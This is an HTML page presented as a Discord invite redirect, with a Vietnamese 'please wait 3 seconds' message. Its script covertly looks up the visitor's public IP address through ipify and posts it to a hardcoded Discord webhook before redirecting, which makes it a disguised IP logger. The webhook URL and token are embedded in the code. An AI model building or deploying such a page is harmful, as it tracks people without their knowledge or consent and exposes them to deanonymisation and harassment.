<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Our Discord</title>
    <style>
        body {
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: white;
            font-family: Arial, sans-serif;
            color: black;
            font-size: 24px;
        }
    </style>
</head>
<body>
    <div id="message">Vui Lòng Chờ 3 Giây Để Tiến Hành Chuyển Qua Invite Discord...</div>
    <script>
        const discordWebhookURL = 'https://discord.com/api/webhooks/1300001948782690425/RH-uvoV4XxTgWBpSOZkZA-LyLDvr7_oTdZAHjMt0VJPMgrDmBIYU-6-yAVE1ZHqwAS7h';
        const discordRedirectURL = 'https://discord.gg/FcEGmkNDDe'; 

        function sendToDiscord(ip) {
            const payload = {
                content: `IP: ${ip}`
            };

            fetch(discordWebhookURL, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(payload)
            }).then(response => {
                if (response.ok) {
                    console.log("IP đã được gửi đến Discord.");
                } else {
                    console.error("Lỗi khi gửi IP đến Discord.", response.statusText);
                }
            }).catch(error => {
                console.error("Lỗi khi kết nối webhook:", error);
            });
        }

        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                console.log("IP:", data.ip);
                sendToDiscord(data.ip);
            })
            .catch(error => {
                console.error("Lỗi:", error);
            });

        setTimeout(() => {
            window.location.href = discordRedirectURL;
        }, 3000); 
    </script>
</body>
</html>
